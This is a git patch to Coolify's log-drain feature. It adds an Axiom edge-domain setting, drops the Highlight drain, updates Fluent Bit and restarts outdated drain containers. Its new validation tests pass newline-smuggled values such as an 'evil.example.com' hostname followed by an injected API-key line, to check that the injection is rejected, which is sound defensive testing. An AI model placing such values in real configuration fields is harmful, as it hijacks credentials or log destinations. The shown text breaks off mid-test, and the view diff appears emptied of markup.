From 101444b8cae83fff0635f6902dee13e5522e7ce5 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 27 Oct 2026 17:41:50 +0100 Subject: [PATCH] fix(log-drains): support Axiom edge domains and update Fluent Bit to 5.1 - Add an Axiom edge domain setting (default us-east-1) and use the /v1/ingest endpoint, so EU datasets work - Remove the Highlight drain (service ended) and stop its running containers - Update Fluent Bit from 2.0 to 5.1 and use the warn log level - Restart running drains when the generated files change, with the new image pulled before the old container stops - Show log drain validation errors under their fields Closes #9898 --- app/Actions/Server/StartLogDrain.php | 82 ++++---- .../Api/ServerLogDrainsController.php | 8 +- app/Jobs/PushServerUpdateJob.php | 8 +- app/Jobs/ServerCheckJob.php | 2 +- app/Livewire/Server/LogDrains.php | 26 ++- app/Models/Server.php | 2 +- app/Models/ServerSetting.php | 11 +- ..._axiom_domain_to_server_settings_table.php | 22 +++ ...t_log_drain_from_server_settings_table.php | 43 +++++ docs/server-transfer-full-coverage.md | 2 +- .../livewire/server/log-drains.blade.php | 9 +- scripts/transfer-test/seed-full.php | 2 +- tests/Feature/Api/ServerSubsystemsApiTest.php | 20 ++ tests/Feature/LogDrain/AxiomLogDrainTest.php | 137 ++++++++++++++ .../LogDrain/CloudwatchLogDrainTest.php | 46 ----- .../LogDrain/LogDrainConfigRefreshTest.php | 179 ++++++++++++++++++ .../RemoveHighlightLogDrainMigrationTest.php | 30 +++ tests/Feature/ModelFillableCreationTest.php | 2 - tests/Unit/LogDrainCommandInjectionTest.php | 10 - 19 files changed, 529 insertions(+), 112 deletions(-) create mode 100644 database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php create mode 100644 database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php create mode 100644 tests/Feature/LogDrain/AxiomLogDrainTest.php create mode 100644 tests/Feature/LogDrain/LogDrainConfigRefreshTest.php create mode 100644 tests/Feature/LogDrain/RemoveHighlightLogDrainMigrationTest.php diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index 93774a0be2..57068e0b52 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -3,8 +3,10 @@ namespace App\Actions\Server; use App\Models\Server; +use App\Models\ServerSetting; use App\Models\Service; use App\Rules\ValidFluentBitConfig; +use Illuminate\Support\Facades\Cache; use Lorisleiva\Actions\Concerns\AsAction; class StartLogDrain @@ -13,12 +15,31 @@ class StartLogDrain public string $jobQueue = 'high'; + /** + * Bump when the generated files change (image, config, compose, or README), so that the + * server checks start running log drains again with the new files. + */ + public const CONFIG_VERSION = '1'; + + public const CONFIG_VERSION_LABEL = 'coolify.logDrainConfigVersion'; + + /** + * Whether a running log drain container was made with older files. Claims the refresh for + * 10 minutes, so that the frequent server checks queue only one restart. + */ + public static function claimOutdatedRefresh(Server $server, mixed $labels): bool + { + if ((string) collect($labels)->get(self::CONFIG_VERSION_LABEL) === self::CONFIG_VERSION) { + return false; + } + + return Cache::add("log-drain-refresh:{$server->uuid}", true, now()->addMinutes(10)); + } + public function handle(Server $server) { if ($server->settings->is_logdrain_newrelic_enabled) { $type = 'newrelic'; - } elseif ($server->settings->is_logdrain_highlight_enabled) { - $type = 'highlight'; } elseif ($server->settings->is_logdrain_axiom_enabled) { $type = 'axiom'; } elseif ($server->settings->is_logdrain_custom_enabled) { @@ -34,9 +55,6 @@ class StartLogDrain return 'Amazon CloudWatch Logs uses the built-in Docker awslogs driver.'; } - if ($type !== 'none') { - StopLogDrain::run($server); - } $serverName = $this->fluentBitValue((string) $server->name); try { if ($type === 'none') { @@ -49,8 +67,7 @@ class StartLogDrain [SERVICE] Flush 5 Daemon off - Tag container_logs - Log_Level debug + Log_Level warn Parsers_File parsers.conf [INPUT] Name forward @@ -76,27 +93,6 @@ class StartLogDrain # https://log-api.newrelic.com/log/v1 - US base_uri \${BASE_URI} "); - } elseif ($type === 'highlight') { - if (! $server->settings->is_logdrain_highlight_enabled) { - throw new \Exception('Highlight log drain is not enabled.'); - } - $config = base64_encode(' -[SERVICE] - Flush 5 - Daemon off - Log_Level debug - Parsers_File parsers.conf -[INPUT] - Name forward - tag ${HIGHLIGHT_PROJECT_ID} - Buffer_Chunk_Size 1M - Buffer_Max_Size 6M -[OUTPUT] - Name forward - Match * - Host otel.highlight.io - Port 24224 -'); } elseif ($type === 'axiom') { if (! $server->settings->is_logdrain_axiom_enabled) { throw new \Exception('Axiom log drain is not enabled.'); @@ -105,7 +101,7 @@ class StartLogDrain [SERVICE] Flush 5 Daemon off - Log_Level debug + Log_Level warn Parsers_File parsers.conf [INPUT] Name forward @@ -126,9 +122,9 @@ class StartLogDrain [OUTPUT] Name http Match * - Host api.axiom.co + Host \${AXIOM_DOMAIN} Port 443 - URI /v1/datasets/\${AXIOM_DATASET_NAME}/ingest + URI /v1/ingest/\${AXIOM_DATASET_NAME} # Authorization Bearer should be an API token Header Authorization Bearer \${AXIOM_API_KEY} compress gzip @@ -165,7 +161,7 @@ class StartLogDrain $compose = base64_encode(' services: coolify-log-drain: - image: cr.fluentbit.io/fluent/fluent-bit:2.0 + image: cr.fluentbit.io/fluent/fluent-bit:5.1 container_name: coolify-log-drain command: -c /fluent-bit.conf env_file: @@ -177,16 +173,22 @@ services: - 127.0.0.1:24224:24224 labels: - coolify.managed=true + - '.self::CONFIG_VERSION_LABEL.'='.self::CONFIG_VERSION.' restart: unless-stopped '); - $readme = base64_encode('# New Relic Log Drain -This log drain is based on [Fluent Bit](https://fluentbit.io/) and New Relic Log Forwarder. + $providerName = match ($type) { + 'newrelic' => 'New Relic', + 'axiom' => 'Axiom', + 'custom' => 'Custom', + }; + $readme = base64_encode("# {$providerName} Log Drain +This log drain is based on [Fluent Bit](https://fluentbit.io/). Files: - `fluent-bit.conf` - configuration file for Fluent Bit - `docker-compose.yml` - docker-compose file to run Fluent Bit - `.env` - environment variables for Fluent Bit -'); +"); $license_key = $server->settings->logdrain_newrelic_license_key; $base_uri = $server->settings->logdrain_newrelic_base_uri; $base_path = config('constants.coolify.base_config_path'); @@ -198,10 +200,9 @@ Files: $readme_path = $config_path.'/README.md'; if ($type === 'newrelic') { $envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n"; - } elseif ($type === 'highlight') { - $envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n"; } elseif ($type === 'axiom') { - $envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; + $axiomDomain = trim((string) $server->settings->logdrain_axiom_domain) ?: ServerSetting::DEFAULT_AXIOM_DOMAIN; + $envContent = "AXIOM_DOMAIN={$axiomDomain}\nAXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; } elseif ($type === 'custom') { $envContent = ''; } else { @@ -209,6 +210,8 @@ Files: } $envEncoded = base64_encode($envContent); + // The running drain is removed only after the checks above and the image pull, so that an + // invalid custom config or a slow download does not stop log collection. $command = [ "echo 'Saving configuration'", "mkdir -p $config_path", @@ -217,7 +220,10 @@ Files: "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null", "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null", "echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null", + "echo 'Pulling Fluent Bit'", + "docker compose -f $compose_path pull --quiet --ignore-pull-failures", "echo 'Starting Fluent Bit'", + 'docker rm -f coolify-log-drain >/dev/null 2>&1 || true', "docker compose -f $compose_path up -d", ]; $command = array_merge($command, $this->logDrainNetworkConnectCommands($server)); diff --git a/app/Http/Controllers/Api/ServerLogDrainsController.php b/app/Http/Controllers/Api/ServerLogDrainsController.php index a5da9edb89..bacd75aebe 100644 --- a/app/Http/Controllers/Api/ServerLogDrainsController.php +++ b/app/Http/Controllers/Api/ServerLogDrainsController.php @@ -7,6 +7,7 @@ use App\Actions\Server\StopLogDrain; use App\Http\Controllers\Controller; use App\Models\Server; use App\Rules\ValidFluentBitConfig; +use App\Rules\ValidHostname; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -20,6 +21,7 @@ class ServerLogDrainsController extends Controller 'is_logdrain_axiom_enabled', 'logdrain_axiom_dataset_name', 'logdrain_axiom_api_key', + 'logdrain_axiom_domain', 'is_logdrain_custom_enabled', 'logdrain_custom_config', 'logdrain_custom_config_parser', @@ -47,6 +49,7 @@ class ServerLogDrainsController extends Controller 'logdrain_newrelic_base_uri' => $settings->logdrain_newrelic_base_uri, 'is_logdrain_axiom_enabled' => (bool) $settings->is_logdrain_axiom_enabled, 'logdrain_axiom_dataset_name' => $settings->logdrain_axiom_dataset_name, + 'logdrain_axiom_domain' => $settings->logdrain_axiom_domain, 'is_logdrain_custom_enabled' => (bool) $settings->is_logdrain_custom_enabled, 'is_logdrain_cloudwatch_enabled' => (bool) $settings->is_logdrain_cloudwatch_enabled, 'logdrain_cloudwatch_region' => $settings->logdrain_cloudwatch_region, @@ -85,6 +88,7 @@ class ServerLogDrainsController extends Controller new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string', nullable: true), new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string', nullable: true), + new OA\Property(property: 'logdrain_axiom_domain', type: 'string', nullable: true), new OA\Property(property: 'logdrain_axiom_api_key', type: 'string', description: 'Only present with read:sensitive.'), new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_custom_config', type: 'string', description: 'Only present with read:sensitive.'), @@ -138,6 +142,7 @@ class ServerLogDrainsController extends Controller new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string'), new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string'), + new OA\Property(property: 'logdrain_axiom_domain', type: 'string', description: 'Base domain of the Axiom edge deployment. Default: us-east-1.aws.edge.axiom.co. Use eu-central-1.aws.edge.axiom.co for EU datasets.'), new OA\Property(property: 'logdrain_axiom_api_key', type: 'string'), new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_custom_config', type: 'string'), @@ -185,6 +190,7 @@ class ServerLogDrainsController extends Controller 'is_logdrain_axiom_enabled' => 'boolean', 'logdrain_axiom_dataset_name' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logdrain_axiom_api_key' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logdrain_axiom_domain' => ['nullable', 'string', new ValidHostname], 'is_logdrain_custom_enabled' => 'boolean', 'logdrain_custom_config' => ['nullable', 'string', new ValidFluentBitConfig], 'logdrain_custom_config_parser' => ['nullable', 'string', new ValidFluentBitConfig(parsersOnly: true)], @@ -250,7 +256,7 @@ class ServerLogDrainsController extends Controller } if ($settings->is_logdrain_cloudwatch_enabled) { - if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled || $settings->is_logdrain_highlight_enabled) { + if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled) { return response()->json([ 'message' => 'Validation failed.', 'errors' => [ diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 07c069c15d..ea15d0a5f6 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -116,6 +116,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced public bool $foundLogDrainContainer = false; + public array $logDrainContainerLabels = []; + private ?array $cachedDestinationIds = null; public function middleware(): array @@ -275,6 +277,7 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced $name = data_get($container, 'name'); if ($name === 'coolify-log-drain' && $this->isRunning($containerStatus)) { $this->foundLogDrainContainer = true; + $this->logDrainContainerLabels = $labels->all(); } // Containers are matched by owner UUID; numeric ids differ between instances. if (isContainerOfType($labels, 'application')) { @@ -979,7 +982,10 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced private function checkLogDrainContainer() { - if ($this->server->isFluentBitLogDrainEnabled() && $this->foundLogDrainContainer === false) { + if (! $this->server->isFluentBitLogDrainEnabled()) { + return; + } + if ($this->foundLogDrainContainer === false || StartLogDrain::claimOutdatedRefresh($this->server, $this->logDrainContainerLabels)) { StartLogDrain::dispatch($this->server); } } diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php index 1d449cc23e..2d00f8bbd7 100644 --- a/app/Jobs/ServerCheckJob.php +++ b/app/Jobs/ServerCheckJob.php @@ -113,7 +113,7 @@ class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue })->first(); if ($foundLogDrainContainer) { $status = data_get($foundLogDrainContainer, 'State.Status'); - if ($status !== 'running') { + if ($status !== 'running' || StartLogDrain::claimOutdatedRefresh($this->server, data_get($foundLogDrainContainer, 'Config.Labels'))) { StartLogDrain::dispatch($this->server); } } else { diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index c48816aa40..12614800ae 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -5,7 +5,9 @@ namespace App\Livewire\Server; use App\Actions\Server\StartLogDrain; use App\Actions\Server\StopLogDrain; use App\Models\Server; +use App\Models\ServerSetting; use App\Rules\ValidFluentBitConfig; +use App\Rules\ValidHostname; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Validation\ValidationException; use Livewire\Attributes\Validate; @@ -38,6 +40,9 @@ class LogDrains extends Component #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomApiKey = null; + #[Validate(['string', 'nullable', new ValidHostname])] + public ?string $logDrainAxiomDomain = null; + #[Validate(['string', 'nullable'])] public ?string $logDrainCustomConfig = null; @@ -87,9 +92,11 @@ class LogDrains extends Component $this->server->settings->is_logdrain_axiom_enabled = $this->isLogDrainAxiomEnabled; $this->server->settings->logdrain_axiom_dataset_name = $this->logDrainAxiomDatasetName; $this->server->settings->logdrain_axiom_api_key = $this->logDrainAxiomApiKey; + $this->server->settings->logdrain_axiom_domain = $this->logDrainAxiomDomain; } else { $this->isLogDrainAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled; $this->logDrainAxiomDatasetName = $this->server->settings->logdrain_axiom_dataset_name; + $this->logDrainAxiomDomain = $this->server->settings->logdrain_axiom_domain ?: ServerSetting::DEFAULT_AXIOM_DOMAIN; $this->logDrainAxiomApiKey = auth()->user()->can('update', $this->server) ? $this->server->settings->logdrain_axiom_api_key : null; @@ -146,9 +153,6 @@ class LogDrains extends Component $this->syncDataCustom($toModel); $this->syncDataCloudwatch($toModel); } - if ($this->enabledLogDrainCount() > 0) { - $this->server->settings->is_logdrain_highlight_enabled = false; - } $this->auditLogDrain('updated'); $this->server->settings->save(); } else { @@ -195,6 +199,7 @@ class LogDrains extends Component $this->validate([ 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomDomain' => ['required', new ValidHostname], ]); } catch (\Throwable $e) { $this->isLogDrainAxiomEnabled = false; @@ -240,6 +245,8 @@ class LogDrains extends Component StopLogDrain::run($this->server); $this->dispatch('success', 'Log drain service stopped.'); } + } catch (ValidationException $e) { + return $this->handleValidationError($e); } catch (\Throwable $e) { return handleError($e, $this); } @@ -251,7 +258,6 @@ class LogDrains extends Component $previousAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled; $previousCustomEnabled = $this->server->settings->is_logdrain_custom_enabled; $previousCloudwatchEnabled = $this->server->settings->is_logdrain_cloudwatch_enabled; - $previousHighlightEnabled = $this->server->settings->is_logdrain_highlight_enabled; try { $this->authorize('update', $this->server); @@ -279,6 +285,9 @@ class LogDrains extends Component StopLogDrain::run($this->server); $this->dispatch('success', 'Log drain service stopped.'); } + } catch (ValidationException $e) { + // Validation runs before anything is saved, so keep the typed values and show the errors under the fields. + $this->handleValidationError($e); } catch (\Throwable $e) { // Restore the previously persisted enabled flags so the UI/DB never // claim a runtime state that the Start/StopLogDrain action failed to apply. @@ -286,7 +295,6 @@ class LogDrains extends Component $this->server->settings->is_logdrain_axiom_enabled = $previousAxiomEnabled; $this->server->settings->is_logdrain_custom_enabled = $previousCustomEnabled; $this->server->settings->is_logdrain_cloudwatch_enabled = $previousCloudwatchEnabled; - $this->server->settings->is_logdrain_highlight_enabled = $previousHighlightEnabled; $this->server->settings->save(); $this->syncData(); @@ -310,6 +318,13 @@ class LogDrains extends Component return view('livewire.server.log-drains'); } + private function handleValidationError(ValidationException $e): mixed + { + $this->setErrorBag($e->validator->errors()); + + return handleError($e, $this); + } + private function enabledLogDrainCount(): int { return count(array_filter([ @@ -351,6 +366,7 @@ class LogDrains extends Component 'axiom' => $this->validate([ 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomDomain' => ['required', new ValidHostname], ]), 'custom' => $this->validate([ 'logDrainCustomConfig' => ['required', new ValidFluentBitConfig], diff --git a/app/Models/Server.php b/app/Models/Server.php index d5ffa27e76..ae2d3b064a 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -2200,7 +2200,7 @@ $siteAddress { */ public function isFluentBitLogDrainEnabled(): bool { - return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_highlight_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled; + return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled; } public function validateOS(): bool|Stringable diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 8a9c599331..f251b7fd5a 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -29,7 +29,6 @@ use OpenApi\Attributes as OA; 'is_logdrain_axiom_enabled' => ['type' => 'boolean'], 'is_logdrain_cloudwatch_enabled' => ['type' => 'boolean'], 'is_logdrain_custom_enabled' => ['type' => 'boolean'], - 'is_logdrain_highlight_enabled' => ['type' => 'boolean'], 'is_logdrain_newrelic_enabled' => ['type' => 'boolean'], 'is_metrics_enabled' => ['type' => 'boolean'], 'is_traffic_analytics_enabled' => ['type' => 'boolean'], @@ -49,12 +48,12 @@ use OpenApi\Attributes as OA; 'is_usable' => ['type' => 'boolean'], 'logdrain_axiom_api_key' => ['type' => 'string'], 'logdrain_axiom_dataset_name' => ['type' => 'string'], + 'logdrain_axiom_domain' => ['type' => 'string', 'description' => 'Base domain of the Axiom edge deployment, for example us-east-1.aws.edge.axiom.co or eu-central-1.aws.edge.axiom.co.'], 'logdrain_cloudwatch_region' => ['type' => 'string'], 'logdrain_cloudwatch_group' => ['type' => 'string'], 'logdrain_cloudwatch_stream_prefix' => ['type' => 'string'], 'logdrain_custom_config' => ['type' => 'string'], 'logdrain_custom_config_parser' => ['type' => 'string'], - 'logdrain_highlight_project_id' => ['type' => 'string'], 'logdrain_newrelic_base_uri' => ['type' => 'string'], 'logdrain_newrelic_license_key' => ['type' => 'string'], 'sentinel_metrics_history_days' => ['type' => 'integer'], @@ -93,6 +92,11 @@ class ServerSetting extends Model public const int DEFAULT_SENTINEL_PUSH_INTERVAL_SECONDS = 60; + /** + * Axiom edge deployment for US East 1. See https://axiom.co/docs/reference/edge-deployments. + */ + public const string DEFAULT_AXIOM_DOMAIN = 'us-east-1.aws.edge.axiom.co'; + protected $fillable = [ 'server_id', 'is_swarm_manager', @@ -109,11 +113,10 @@ class ServerSetting extends Model 'is_logdrain_newrelic_enabled', 'logdrain_newrelic_license_key', 'logdrain_newrelic_base_uri', - 'is_logdrain_highlight_enabled', - 'logdrain_highlight_project_id', 'is_logdrain_axiom_enabled', 'logdrain_axiom_dataset_name', 'logdrain_axiom_api_key', + 'logdrain_axiom_domain', 'is_swarm_worker', 'is_logdrain_custom_enabled', 'logdrain_custom_config', diff --git a/database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php b/database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php new file mode 100644 index 0000000000..0bd3cfc8f7 --- /dev/null +++ b/database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php @@ -0,0 +1,22 @@ +string('logdrain_axiom_domain')->nullable()->default('us-east-1.aws.edge.axiom.co'); + }); + } + + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->dropColumn('logdrain_axiom_domain'); + }); + } +}; diff --git a/database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php b/database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php new file mode 100644 index 0000000000..681d8e74e1 --- /dev/null +++ b/database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php @@ -0,0 +1,43 @@ +where('is_logdrain_highlight_enabled', true)->pluck('server_id'); + Server::query()->whereIn('id', $serverIds)->get() + ->reject(fn (Server $server) => $server->isTransferredAway()) + ->each(fn (Server $server) => StopLogDrain::dispatch($server)); + } catch (Throwable $e) { + Log::warning('Could not queue the removal of Highlight log drain containers: '.$e->getMessage()); + } + + Schema::table('server_settings', function (Blueprint $table) { + $table->dropColumn(['is_logdrain_highlight_enabled', 'logdrain_highlight_project_id']); + }); + } + + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->boolean('is_logdrain_highlight_enabled')->default(false); + $table->string('logdrain_highlight_project_id')->nullable(); + }); + } +}; diff --git a/docs/server-transfer-full-coverage.md b/docs/server-transfer-full-coverage.md index 3c39e0e15d..25a7835e03 100644 --- a/docs/server-transfer-full-coverage.md +++ b/docs/server-transfer-full-coverage.md @@ -42,7 +42,7 @@ When you add a model or a setting to the transfer, add it to this file too. | ✅ | Metrics / Sentinel | metrics on, refresh rate 10 s, history 14 days, push interval 30 s | | ✅ | Traffic analytics | on, top N 20, sample threshold, retention 1h=3 / 1d=60 days, IP mode `anonymized` | | ✅ | GeoIP | on, MaxMind license key, refresh 14 days | -| ✅ | Log drains | New Relic (key + base URI), Highlight (project ID), Axiom (dataset + key), custom (config + parser), one of them enabled | +| ✅ | Log drains | New Relic (key + base URI), Axiom (dataset, key + edge domain), custom (config + parser), one of them enabled | | ✅ | Cloudflare tunnel | tunnel on, tunnel ID, account ID, Cloudflare integration token selected, and the DNS record of the SSH hostname. Expected: the record moves with the server; the source keeps it only for a take back (not owned) | | ➕ | Jump server flag | on (on a server that is only a jump host) | diff --git a/resources/views/livewire/server/log-drains.blade.php b/resources/views/livewire/server/log-drains.blade.php index 3f72f8609d..cea02d5087 100644 --- a/resources/views/livewire/server/log-drains.blade.php +++ b/resources/views/livewire/server/log-drains.blade.php @@ -47,19 +47,26 @@ -
+
+
+
+
settings->forceFill([ 'is_traffic_analytics_enabled' => true, 'traffic_topn' => 20, 'traffic_sample_threshold' => 9, 'traffic_retention_1h_days' => 3, 'traffic_retention_1d_days' => 60, 'traffic_ip_mode' => 'anonymized', 'is_geoip_enabled' => true, 'geoip_maxmind_license_key' => 'fake-maxmind-key', 'geoip_refresh_days' => 14, 'logdrain_newrelic_license_key' => 'fake-newrelic', 'logdrain_newrelic_base_uri' => 'https://log-api.eu.newrelic.com/log/v1', - 'logdrain_highlight_project_id' => 'fake-highlight', 'logdrain_axiom_dataset_name' => 'fake-dataset', 'logdrain_axiom_api_key' => 'fake-axiom', + 'logdrain_axiom_dataset_name' => 'fake-dataset', 'logdrain_axiom_api_key' => 'fake-axiom', 'logdrain_custom_config' => "[OUTPUT]\n Name stdout\n", 'logdrain_custom_config_parser' => "[PARSER]\n Name fake\n", 'logdrain_cloudwatch_region' => 'eu-central-1', 'logdrain_cloudwatch_group' => 'fake-group', 'logdrain_cloudwatch_stream_prefix' => 'fake-prefix', ])->saveQuietly(); diff --git a/tests/Feature/Api/ServerSubsystemsApiTest.php b/tests/Feature/Api/ServerSubsystemsApiTest.php index 712534538a..022a15647c 100644 --- a/tests/Feature/Api/ServerSubsystemsApiTest.php +++ b/tests/Feature/Api/ServerSubsystemsApiTest.php @@ -190,6 +190,26 @@ describe('Log drains API', function () { ->and($settings->logdrain_axiom_api_key)->toBe('axiom-key-123'); }); + test('PATCH sets the Axiom edge domain and rejects a value that is not a hostname', function () { + Queue::fake(); + + $this->withHeaders(serverSubsystemsHeaders()) + ->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [ + 'logdrain_axiom_domain' => 'eu-central-1.aws.edge.axiom.co', + ]) + ->assertOk() + ->assertJsonPath('logdrain_axiom_domain', 'eu-central-1.aws.edge.axiom.co'); + + $this->withHeaders(serverSubsystemsHeaders()) + ->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [ + 'logdrain_axiom_domain' => "evil.example.com\nAXIOM_API_KEY=x", + ]) + ->assertUnprocessable() + ->assertJsonValidationErrors('logdrain_axiom_domain'); + + expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('eu-central-1.aws.edge.axiom.co'); + }); + test('PATCH saves log drain settings without connecting to a server that is not validated', function () { Queue::fake(); diff --git a/tests/Feature/LogDrain/AxiomLogDrainTest.php b/tests/Feature/LogDrain/AxiomLogDrainTest.php new file mode 100644 index 0000000000..eaf912f849 --- /dev/null +++ b/tests/Feature/LogDrain/AxiomLogDrainTest.php @@ -0,0 +1,137 @@ + false]); + InstanceSettings::forceCreate(['id' => 0]); + + $this->user = User::factory()->create(); + $this->team = $this->user->teams()->first(); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +/** + * @return array{config: string, env: string} + */ +function startAxiomLogDrain(Server $server): array +{ + $commands = new Collection; + Process::fake(function ($process) use ($commands) { + $commands->push(remoteProcessScript($process)); + + return Process::result(); + }); + + StartLogDrain::run($server->fresh()); + + $script = $commands->implode("\n"); + preg_match("/echo '([A-Za-z0-9+\\/=]+)' \\| base64 -d \\| tee \\S+\\/fluent-bit\\.conf/", $script, $config); + preg_match("/echo '([A-Za-z0-9+\\/=]+)' \\| base64 -d \\| tee \\S+\\/\\.env/", $script, $env); + + return ['config' => base64_decode($config[1]), 'env' => base64_decode($env[1])]; +} + +it('sends logs to the configured Axiom edge deployment', function () { + $this->server->settings->update([ + 'is_logdrain_axiom_enabled' => true, + 'logdrain_axiom_dataset_name' => 'dataset', + 'logdrain_axiom_api_key' => 'key', + 'logdrain_axiom_domain' => 'eu-central-1.aws.edge.axiom.co', + ]); + + $files = startAxiomLogDrain($this->server); + + expect($files['config'])->toContain('Host ${AXIOM_DOMAIN}') + ->and($files['config'])->toContain('URI /v1/ingest/${AXIOM_DATASET_NAME}') + ->and($files['config'])->not->toContain('api.axiom.co') + ->and($files['env'])->toBe("AXIOM_DOMAIN=eu-central-1.aws.edge.axiom.co\nAXIOM_DATASET_NAME=dataset\nAXIOM_API_KEY=key\n"); +}); + +it('uses the US edge deployment when no Axiom domain is set', function () { + $this->server->settings->update([ + 'is_logdrain_axiom_enabled' => true, + 'logdrain_axiom_dataset_name' => 'dataset', + 'logdrain_axiom_api_key' => 'key', + 'logdrain_axiom_domain' => null, + ]); + + expect(startAxiomLogDrain($this->server)['env'])->toStartWith("AXIOM_DOMAIN=us-east-1.aws.edge.axiom.co\n"); +}); + +it('defaults the Axiom domain of new servers to the US edge deployment', function () { + expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('us-east-1.aws.edge.axiom.co'); +}); + +it('enables Axiom with an EU edge domain', function () { + StartLogDrain::mock()->shouldReceive('handle')->once()->andReturn('ok'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->assertSet('logDrainAxiomDomain', 'us-east-1.aws.edge.axiom.co') + ->set('logDrainAxiomApiKey', 'xaat-key') + ->set('logDrainAxiomDatasetName', 'dataset') + ->set('logDrainAxiomDomain', 'eu-central-1.aws.edge.axiom.co') + ->call('toggleLogDrain', 'axiom') + ->assertHasNoErrors() + ->assertSet('isLogDrainAxiomEnabled', true); + + expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('eu-central-1.aws.edge.axiom.co'); +}); + +it('rejects an Axiom domain that is not a hostname', function (string $domain) { + StartLogDrain::mock()->shouldNotReceive('handle'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainAxiomApiKey', 'xaat-key') + ->set('logDrainAxiomDatasetName', 'dataset') + ->set('logDrainAxiomDomain', $domain) + ->call('toggleLogDrain', 'axiom') + ->assertDispatched('error') + ->assertHasErrors('logDrainAxiomDomain') + ->assertSet('isLogDrainAxiomEnabled', false) + ->assertSet('logDrainAxiomDatasetName', 'dataset'); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_axiom_enabled)->toBeFalsy() + ->and($settings->logdrain_axiom_domain)->toBe('us-east-1.aws.edge.axiom.co'); +})->with([ + 'env injection' => ["eu-central-1.aws.edge.axiom.co\nAXIOM_API_KEY=x"], + 'url' => 